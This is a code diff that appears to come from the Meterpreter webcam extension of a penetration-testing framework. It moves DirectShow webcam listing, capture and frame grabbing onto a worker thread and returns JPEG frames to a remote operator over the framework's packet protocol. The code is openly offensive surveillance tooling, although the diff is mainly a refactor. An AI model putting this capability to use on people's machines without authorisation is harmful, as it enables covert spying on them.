BREAK_WITH_ERROR("Querying interface failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] Querying interface failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
AM_MEDIA_TYPE mt;
|
AM_MEDIA_TYPE mt;
|
||||||
hr = pGrabber->GetConnectedMediaType(&mt);
|
hr = pGrabber->GetConnectedMediaType(&mt);
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("GetConnectedMediaType failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] GetConnectedMediaType failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
VIDEOINFOHEADER *pVih;
|
VIDEOINFOHEADER *pVih;
|
||||||
if ((mt.formattype == FORMAT_VideoInfo) &&
|
if ((mt.formattype == FORMAT_VideoInfo) &&
|
||||||
(mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
|
(mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
|
||||||
(mt.pbFormat != NULL) ) {
|
(mt.pbFormat != NULL)) {
|
||||||
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
|
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
|
||||||
nWidth = pVih->bmiHeader.biWidth;
|
nWidth = pVih->bmiHeader.biWidth;
|
||||||
nHeight = pVih->bmiHeader.biHeight;
|
nHeight = pVih->bmiHeader.biHeight;
|
||||||
}else{
|
|
||||||
BREAK_WITH_ERROR("Wrong format type", hr) // Wrong format
|
|
||||||
}
|
}
|
||||||
if (pGrabber != NULL){
|
else {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Wrong format type", hr);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pGrabber != NULL) {
|
||||||
pGrabber->Release();
|
pGrabber->Release();
|
||||||
pGrabber = NULL;
|
pGrabber = NULL;
|
||||||
}
|
}
|
||||||
@ -313,45 +353,56 @@ DWORD request_webcam_start(Remote *remote, Packet *packet){
|
|||||||
NULL); // no object name
|
NULL); // no object name
|
||||||
|
|
||||||
// Start the capture
|
// Start the capture
|
||||||
if (FAILED(hr))
|
if (FAILED(hr)) {
|
||||||
BREAK_WITH_ERROR("CreateEvent failed", hr)
|
BREAK_WITH_ERROR("[WEBCAM] CreateEvent failed", hr);
|
||||||
hr = g_pMediaControl->Run();
|
}
|
||||||
if (FAILED(hr))
|
hr = state->pMediaControl->Run();
|
||||||
BREAK_WITH_ERROR("Running capture failed", hr)
|
|
||||||
|
if (FAILED(hr)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Running capture failed", hr);
|
||||||
|
}
|
||||||
|
|
||||||
// Cleanup
|
// Cleanup
|
||||||
if (pMoniker != NULL){
|
if (pMoniker != NULL) {
|
||||||
pMoniker->Release();
|
pMoniker->Release();
|
||||||
pMoniker = NULL;
|
pMoniker = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
//Now we wait for first frame
|
//Now we wait for first frame
|
||||||
if(WaitForSingleObject (writeEvent, 30000) == WAIT_TIMEOUT)
|
if (WaitForSingleObject(writeEvent, 30000) == WAIT_TIMEOUT) {
|
||||||
BREAK_WITH_ERROR("timeout!", WAIT_TIMEOUT);
|
BREAK_WITH_ERROR("[WEBCAM] timeout!", WAIT_TIMEOUT);
|
||||||
running = true;
|
}
|
||||||
|
|
||||||
dwResult = GetLastError();
|
dwResult = GetLastError();
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
packet_transmit_response(dwResult, remote, response);
|
|
||||||
return dwResult;
|
return dwResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Gets image from running webcam
|
/*!
|
||||||
DWORD request_webcam_get_frame(Remote *remote, Packet *packet){
|
* @brief Grab a frame from the currently running camera.
|
||||||
Packet *response = packet_create_response(packet);
|
* @param state Pointer to the \c WebcamThreadState which contains capture/quality information.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Starting the webcam succeeded.
|
||||||
|
* @remark The `frameQuality` member of `state` is assumed to be set.
|
||||||
|
* @todo Convert this to GDI+ to avoid the jpg lib overhead.
|
||||||
|
*/
|
||||||
|
DWORD webcam_get_frame(WebcamThreadState* state)
|
||||||
|
{
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY);
|
UINT quality = state->frameQuality;
|
||||||
|
|
||||||
do{
|
dprintf("[WEBCAM] Entry.");
|
||||||
if(!running)
|
|
||||||
BREAK_WITH_ERROR("Not running!", ERROR_INVALID_ACCESS)
|
do
|
||||||
|
{
|
||||||
//Make bmp
|
//Make bmp
|
||||||
BITMAPFILEHEADER bfh;
|
BITMAPFILEHEADER bfh;
|
||||||
bfh.bfType = 0x4d42; // always "BM"
|
bfh.bfType = 0x4d42; // always "BM"
|
||||||
bfh.bfSize = sizeof( BITMAPFILEHEADER );
|
bfh.bfSize = sizeof(BITMAPFILEHEADER);
|
||||||
bfh.bfReserved1 = 0;
|
bfh.bfReserved1 = 0;
|
||||||
bfh.bfReserved2 = 0;
|
bfh.bfReserved2 = 0;
|
||||||
bfh.bfOffBits = (DWORD) (sizeof( bfh ) + sizeof(BITMAPINFOHEADER));
|
bfh.bfOffBits = (DWORD)(sizeof(bfh) + sizeof(BITMAPINFOHEADER));
|
||||||
|
|
||||||
BITMAPINFOHEADER bih;
|
BITMAPINFOHEADER bih;
|
||||||
bih.biSize = sizeof(BITMAPINFOHEADER);
|
bih.biSize = sizeof(BITMAPINFOHEADER);
|
||||||
@ -367,10 +418,10 @@ DWORD request_webcam_get_frame(Remote *remote, Packet *packet){
|
|||||||
bih.biClrImportant = 0;
|
bih.biClrImportant = 0;
|
||||||
|
|
||||||
UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih);
|
UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih);
|
||||||
if(bmpsize < mybmpsize){
|
if (bmpsize < mybmpsize) {
|
||||||
bmpsize = mybmpsize;
|
bmpsize = mybmpsize;
|
||||||
if(bmpdata != NULL)
|
if (bmpdata != NULL)
|
||||||
delete [] bmpdata;
|
delete[] bmpdata;
|
||||||
bmpdata = new BYTE[bmpsize];
|
bmpdata = new BYTE[bmpsize];
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -380,54 +431,384 @@ DWORD request_webcam_get_frame(Remote *remote, Packet *packet){
|
|||||||
memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize);
|
memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize);
|
||||||
|
|
||||||
// Now convert to JPEG
|
// Now convert to JPEG
|
||||||
bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize );
|
// TODO: rip this out and use GDI+ down the track
|
||||||
|
bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize);
|
||||||
|
|
||||||
//And send
|
//And send
|
||||||
packet_add_tlv_raw(response, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize);
|
packet_add_tlv_raw(state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize);
|
||||||
}while(0);
|
} while (0);
|
||||||
packet_transmit_response(dwResult, remote, response);
|
|
||||||
|
|
||||||
PBYTE tmparray = jpgarray;
|
PBYTE tmparray = jpgarray;
|
||||||
jpgsize = 0;
|
jpgsize = 0;
|
||||||
jpgarray = NULL;
|
jpgarray = NULL;
|
||||||
free(tmparray);
|
free(tmparray);
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Exit.");
|
||||||
|
|
||||||
return dwResult;
|
return dwResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stops running webcam
|
/*!
|
||||||
DWORD request_webcam_stop(Remote *remote, Packet *packet){
|
* @brief Callback for the webcam control thread.
|
||||||
|
* @param thread Pointer to the \c THREAD information block for the thread.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Operation completed as expected.
|
||||||
|
* @remark This will run on a separate thread and manage the lifetime of the webcam and COM.
|
||||||
|
*/
|
||||||
|
DWORD THREADCALL webcam_control_thread(THREAD * thread)
|
||||||
|
{
|
||||||
|
DWORD dwResult;
|
||||||
|
WebcamThreadState* state = (WebcamThreadState*)thread->parameter1;
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Entry.");
|
||||||
|
state->bRunning = TRUE;
|
||||||
|
CoInitialize(NULL);
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dwResult = webcam_start(state);
|
||||||
|
|
||||||
|
if (dwResult != ERROR_SUCCESS)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// let the caller know that we've initialised
|
||||||
|
state->dwResult = dwResult;
|
||||||
|
event_signal(state->pResultEvent);
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dprintf("[WEBCAM] Thread now running, waiting for a signal");
|
||||||
|
|
||||||
|
// wait for the next call
|
||||||
|
if (!event_poll(state->pCallEvent, -1)) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Failed to receive a signal from the caller", ERROR_TIMEOUT);
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (state->controlAction)
|
||||||
|
{
|
||||||
|
case Stop:
|
||||||
|
dprintf("[WEBCAM] ACTION_STOP called.");
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
state->bRunning = FALSE;
|
||||||
|
break;
|
||||||
|
case GetFrame:
|
||||||
|
dprintf("[WEBCAM] ACTION_GETFRAME called.");
|
||||||
|
dwResult = webcam_get_frame(state);
|
||||||
|
event_signal(state->pResultEvent);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
dprintf("[WEBCAM] Unexpected action %u", (DWORD)state->controlAction);
|
||||||
|
state->bRunning = FALSE;
|
||||||
|
dwResult = ERROR_UNKNOWN_FEATURE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (state->bRunning);
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (state->pIBaseFilterNullRenderer != NULL) {
|
||||||
|
dprintf("[WEBCAM] Releasing state->pIBaseFilterNullRenderer.");
|
||||||
|
state->pIBaseFilterNullRenderer->Release();
|
||||||
|
state->pIBaseFilterNullRenderer = NULL;
|
||||||
|
}
|
||||||
|
if (state->pIBaseFilterSampleGrabber != NULL) {
|
||||||
|
dprintf("[WEBCAM] Releasing state->pIBaseFilterSampleGrabber.");
|
||||||
|
state->pIBaseFilterSampleGrabber->Release();
|
||||||
|
state->pIBaseFilterSampleGrabber = NULL;
|
||||||
|
}
|
||||||
|
if (state->pIBaseFilterCam != NULL) {
|
||||||
|
dprintf("[WEBCAM] Releasing state->pIBaseFilterCam.");
|
||||||
|
state->pIBaseFilterCam->Release();
|
||||||
|
state->pIBaseFilterCam = NULL;
|
||||||
|
}
|
||||||
|
if (state->pCaptureGraphBuilder != NULL) {
|
||||||
|
dprintf("[WEBCAM] Releasing state->pCaptureGraphBuilder.");
|
||||||
|
state->pCaptureGraphBuilder->Release();
|
||||||
|
state->pCaptureGraphBuilder = NULL;
|
||||||
|
}
|
||||||
|
if (state->pMediaControl != NULL) {
|
||||||
|
dprintf("[WEBCAM] Stopping state->pMediaControl.");
|
||||||
|
state->pMediaControl->Stop();
|
||||||
|
state->pMediaControl->Release();
|
||||||
|
state->pMediaControl = NULL;
|
||||||
|
}
|
||||||
|
if (state->pGraphBuilder != NULL) {
|
||||||
|
dprintf("[WEBCAM] Releasing state->pGraphBuilder (%p).", state->pGraphBuilder);
|
||||||
|
state->pGraphBuilder->Release();
|
||||||
|
state->pGraphBuilder = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
CoUninitialize();
|
||||||
|
|
||||||
|
state->dwResult = dwResult;
|
||||||
|
|
||||||
|
// signal that the thread is finishing
|
||||||
|
event_signal(state->pResultEvent);
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Exit.");
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handle the request for a list of available webcams.
|
||||||
|
* @param remote Pointer to the \c Remote making the request.
|
||||||
|
* @param packet Pointer to the request \c Packet.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Operation completed as expected.
|
||||||
|
* @todo Make this use `packet_add_tlv_wstring` when it has been merged.
|
||||||
|
*/
|
||||||
|
DWORD request_webcam_list(Remote *remote, Packet *packet) {
|
||||||
Packet *response = packet_create_response(packet);
|
Packet *response = packet_create_response(packet);
|
||||||
DWORD dwResult = ERROR_SUCCESS;
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
running = false;
|
do{
|
||||||
if (g_pMediaControl != NULL){
|
IEnumMoniker* pclassEnum = NULL;
|
||||||
g_pMediaControl->Stop();
|
ICreateDevEnum* pdevEnum = NULL;
|
||||||
g_pMediaControl->Release();
|
|
||||||
g_pMediaControl = NULL;
|
CoInitialize(NULL);
|
||||||
}
|
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum,
|
||||||
if (g_pIBaseFilterNullRenderer != NULL){
|
NULL,
|
||||||
g_pIBaseFilterNullRenderer->Release();
|
CLSCTX_INPROC,
|
||||||
g_pIBaseFilterNullRenderer = NULL;
|
IID_ICreateDevEnum,
|
||||||
}
|
(LPVOID*)&pdevEnum);
|
||||||
if (g_pIBaseFilterSampleGrabber != NULL){
|
|
||||||
g_pIBaseFilterSampleGrabber->Release();
|
if (SUCCEEDED(hr)) {
|
||||||
g_pIBaseFilterSampleGrabber = NULL;
|
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
|
||||||
}
|
}
|
||||||
if (g_pIBaseFilterCam != NULL){
|
|
||||||
g_pIBaseFilterCam->Release();
|
if (pdevEnum != NULL) {
|
||||||
g_pIBaseFilterCam = NULL;
|
pdevEnum->Release();
|
||||||
}
|
pdevEnum = NULL;
|
||||||
if (g_pGraphBuilder != NULL){
|
}
|
||||||
g_pGraphBuilder->Release();
|
|
||||||
g_pGraphBuilder = NULL;
|
int nCount = 0;
|
||||||
}
|
if (pclassEnum == NULL) {
|
||||||
if (g_pCaptureGraphBuilder != NULL){
|
break;// Error!
|
||||||
g_pCaptureGraphBuilder->Release();
|
}
|
||||||
g_pCaptureGraphBuilder = NULL;
|
|
||||||
}
|
IMoniker* apIMoniker[1];
|
||||||
|
ULONG ulCount = 0;
|
||||||
|
while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) {
|
||||||
|
IPropertyBag *pPropBag;
|
||||||
|
hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag);
|
||||||
|
|
||||||
|
if (SUCCEEDED(hr)) {
|
||||||
|
// To retrieve the filter's friendly name, do the following:
|
||||||
|
VARIANT varName;
|
||||||
|
VariantInit(&varName);
|
||||||
|
hr = pPropBag->Read(L"FriendlyName", &varName, 0);
|
||||||
|
|
||||||
|
if (SUCCEEDED(hr) && varName.vt == VT_BSTR) {
|
||||||
|
//TODO: make this use the new `packet_add_tlv_wstring` when it has been merged.
|
||||||
|
//get chars from wchars
|
||||||
|
size_t converted;
|
||||||
|
char charbuf[512];
|
||||||
|
wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf));
|
||||||
|
packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
VariantClear(&varName);
|
||||||
|
pPropBag->Release();
|
||||||
|
|
||||||
|
nCount++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pclassEnum->Release();
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
dwResult = GetLastError();
|
||||||
|
|
||||||
packet_transmit_response(dwResult, remote, response);
|
packet_transmit_response(dwResult, remote, response);
|
||||||
|
|
||||||
|
CoUninitialize();
|
||||||
return dwResult;
|
return dwResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handle the request to start a given webcam.
|
||||||
|
* @param remote Pointer to the \c Remote making the request.
|
||||||
|
* @param packet Pointer to the request \c Packet.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Operation completed as expected.
|
||||||
|
* @remark This will start a webcam controller thread. From there the
|
||||||
|
* lifetime of the webcam is managed.
|
||||||
|
* @sa webcam_control_thread
|
||||||
|
*/
|
||||||
|
DWORD request_webcam_start(Remote *remote, Packet *packet)
|
||||||
|
{
|
||||||
|
Packet *response = packet_create_response(packet);
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID);
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Entry.");
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
// If we have a thread running, then this means the webcam capture is already running too.
|
||||||
|
if (g_pWorkerThread != NULL) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Already running!", ERROR_SERVICE_ALREADY_RUNNING);
|
||||||
|
}
|
||||||
|
|
||||||
|
g_pThreadState = (WebcamThreadState*)malloc(sizeof(WebcamThreadState));
|
||||||
|
|
||||||
|
if (g_pThreadState == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Out of memory", ERROR_OUTOFMEMORY);
|
||||||
|
}
|
||||||
|
|
||||||
|
ZeroMemory(g_pThreadState, sizeof(WebcamThreadState));
|
||||||
|
|
||||||
|
// create a wait event and indicate we're expecting a response from the call
|
||||||
|
g_pThreadState->pCallEvent = event_create();
|
||||||
|
g_pThreadState->pResultEvent = event_create();
|
||||||
|
g_pThreadState->index = index;
|
||||||
|
|
||||||
|
// kick off the worker thread that will do all the cam handling on one thread to avoid
|
||||||
|
// cross-threaded COM problems.
|
||||||
|
g_pWorkerThread = thread_create(webcam_control_thread, g_pThreadState, NULL, NULL);
|
||||||
|
|
||||||
|
if (g_pWorkerThread == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Failed to create thread.", ERROR_THREAD_1_INACTIVE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (thread_run(g_pWorkerThread) == FALSE) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Failed to run worker thread", ERROR_CAN_NOT_COMPLETE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// now wait for a signal to say that we've got things running
|
||||||
|
if (event_poll(g_pThreadState->pResultEvent, 4000) == FALSE) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Failed to initialise worker thread", ERROR_WAIT_1);
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Webcam thread has been initialised");
|
||||||
|
dwResult = g_pThreadState->dwResult;
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
packet_transmit_response(dwResult, remote, response);
|
||||||
|
|
||||||
|
if (dwResult != ERROR_SUCCESS) {
|
||||||
|
dprintf("[WEBCAM] Failure found, cleaning up");
|
||||||
|
if (g_pWorkerThread != NULL) {
|
||||||
|
if (g_pThreadState != NULL) {
|
||||||
|
if (g_pThreadState->bRunning) {
|
||||||
|
thread_kill(g_pWorkerThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
thread_destroy(g_pWorkerThread);
|
||||||
|
g_pWorkerThread = NULL;
|
||||||
|
|
||||||
|
if (g_pThreadState->pCallEvent != NULL) {
|
||||||
|
event_destroy(g_pThreadState->pCallEvent);
|
||||||
|
}
|
||||||
|
if (g_pThreadState->pResultEvent != NULL) {
|
||||||
|
event_destroy(g_pThreadState->pResultEvent);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(g_pThreadState);
|
||||||
|
g_pThreadState = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Exit.");
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handle the request to grab a frame from the running webcam.
|
||||||
|
* @param remote Pointer to the \c Remote making the request.
|
||||||
|
* @param packet Pointer to the request \c Packet.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Operation completed as expected.
|
||||||
|
* @remark This will interact with the control thread to grab a frame
|
||||||
|
* from the current running camera.
|
||||||
|
* @sa webcam_control_thread
|
||||||
|
*/
|
||||||
|
DWORD request_webcam_get_frame(Remote *remote, Packet *packet)
|
||||||
|
{
|
||||||
|
Packet *response = packet_create_response(packet);
|
||||||
|
UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY);
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Entry.");
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (g_pWorkerThread == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY);
|
||||||
|
}
|
||||||
|
|
||||||
|
// set up the thread call
|
||||||
|
g_pThreadState->pResponse = response;
|
||||||
|
g_pThreadState->frameQuality = quality;
|
||||||
|
g_pThreadState->controlAction = GetFrame;
|
||||||
|
|
||||||
|
// invoke and wait
|
||||||
|
event_signal(g_pThreadState->pCallEvent);
|
||||||
|
|
||||||
|
if (event_poll(g_pThreadState->pResultEvent, 5000) == FALSE) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// the handler thread should have added data to the packet to return to the caller, so off we go!
|
||||||
|
dwResult = g_pThreadState->dwResult;
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
packet_transmit_response(dwResult, remote, response);
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Exit.");
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Handle the request to stop the webcam.
|
||||||
|
* @param remote Pointer to the \c Remote making the request.
|
||||||
|
* @param packet Pointer to the request \c Packet.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS Operation completed as expected.
|
||||||
|
* @remark This will interact with the control thread and tell it
|
||||||
|
* to terminate after turning off the camera.
|
||||||
|
* @sa webcam_control_thread
|
||||||
|
*/
|
||||||
|
DWORD request_webcam_stop(Remote *remote, Packet *packet) {
|
||||||
|
Packet *response = packet_create_response(packet);
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Entry.");
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (g_pWorkerThread == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY);
|
||||||
|
}
|
||||||
|
|
||||||
|
// set up the thread call
|
||||||
|
g_pThreadState->controlAction = Stop;
|
||||||
|
|
||||||
|
// invoke and wait
|
||||||
|
event_signal(g_pThreadState->pCallEvent);
|
||||||
|
|
||||||
|
if (event_poll(g_pThreadState->pResultEvent, 5000) == FALSE) {
|
||||||
|
BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// the handler thread should have added data to the packet to return to the caller, so off we go!
|
||||||
|
dwResult = g_pThreadState->dwResult;
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
packet_transmit_response(dwResult, remote, response);
|
||||||
|
|
||||||
|
event_destroy(g_pThreadState->pCallEvent);
|
||||||
|
event_destroy(g_pThreadState->pResultEvent);
|
||||||
|
free(g_pThreadState);
|
||||||
|
g_pThreadState = NULL;
|
||||||
|
|
||||||
|
thread_destroy(g_pWorkerThread);
|
||||||
|
g_pWorkerThread = NULL;
|
||||||
|
|
||||||
|
dprintf("[WEBCAM] Exit.");
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,33 +1,17 @@
|
|||||||
|
/*!
|
||||||
|
* @file webcam.h
|
||||||
|
* @brief Contains webcam interaction function declarations.
|
||||||
|
*/
|
||||||
|
|
||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
|
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
|
||||||
|
|
||||||
#include "audio.h"
|
|
||||||
|
|
||||||
#define TLV_TYPE_EXTENSION_WEBCAM 0
|
#define TLV_TYPE_EXTENSION_WEBCAM 0
|
||||||
|
|
||||||
#define TLV_TYPE_WEBCAM_IMAGE \
|
#define TLV_TYPE_WEBCAM_IMAGE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 1)
|
||||||
MAKE_CUSTOM_TLV( \
|
#define TLV_TYPE_WEBCAM_INTERFACE_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 2)
|
||||||
TLV_META_TYPE_RAW, \
|
#define TLV_TYPE_WEBCAM_QUALITY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 3)
|
||||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
#define TLV_TYPE_WEBCAM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 4)
|
||||||
TLV_EXTENSIONS + 1)
|
|
||||||
|
|
||||||
#define TLV_TYPE_WEBCAM_INTERFACE_ID \
|
|
||||||
MAKE_CUSTOM_TLV( \
|
|
||||||
TLV_META_TYPE_UINT, \
|
|
||||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
|
||||||
TLV_EXTENSIONS + 2)
|
|
||||||
|
|
||||||
#define TLV_TYPE_WEBCAM_QUALITY \
|
|
||||||
MAKE_CUSTOM_TLV( \
|
|
||||||
TLV_META_TYPE_UINT, \
|
|
||||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
|
||||||
TLV_EXTENSIONS + 3)
|
|
||||||
|
|
||||||
#define TLV_TYPE_WEBCAM_NAME \
|
|
||||||
MAKE_CUSTOM_TLV( \
|
|
||||||
TLV_META_TYPE_STRING, \
|
|
||||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
|
||||||
TLV_EXTENSIONS + 4)
|
|
||||||
|
|
||||||
DWORD request_webcam_list(Remote *remote, Packet *packet);
|
DWORD request_webcam_list(Remote *remote, Packet *packet);
|
||||||
DWORD request_webcam_start(Remote *remote, Packet *packet);
|
DWORD request_webcam_start(Remote *remote, Packet *packet);
|
||||||
|
Loading…
x
Reference in New Issue
Block a user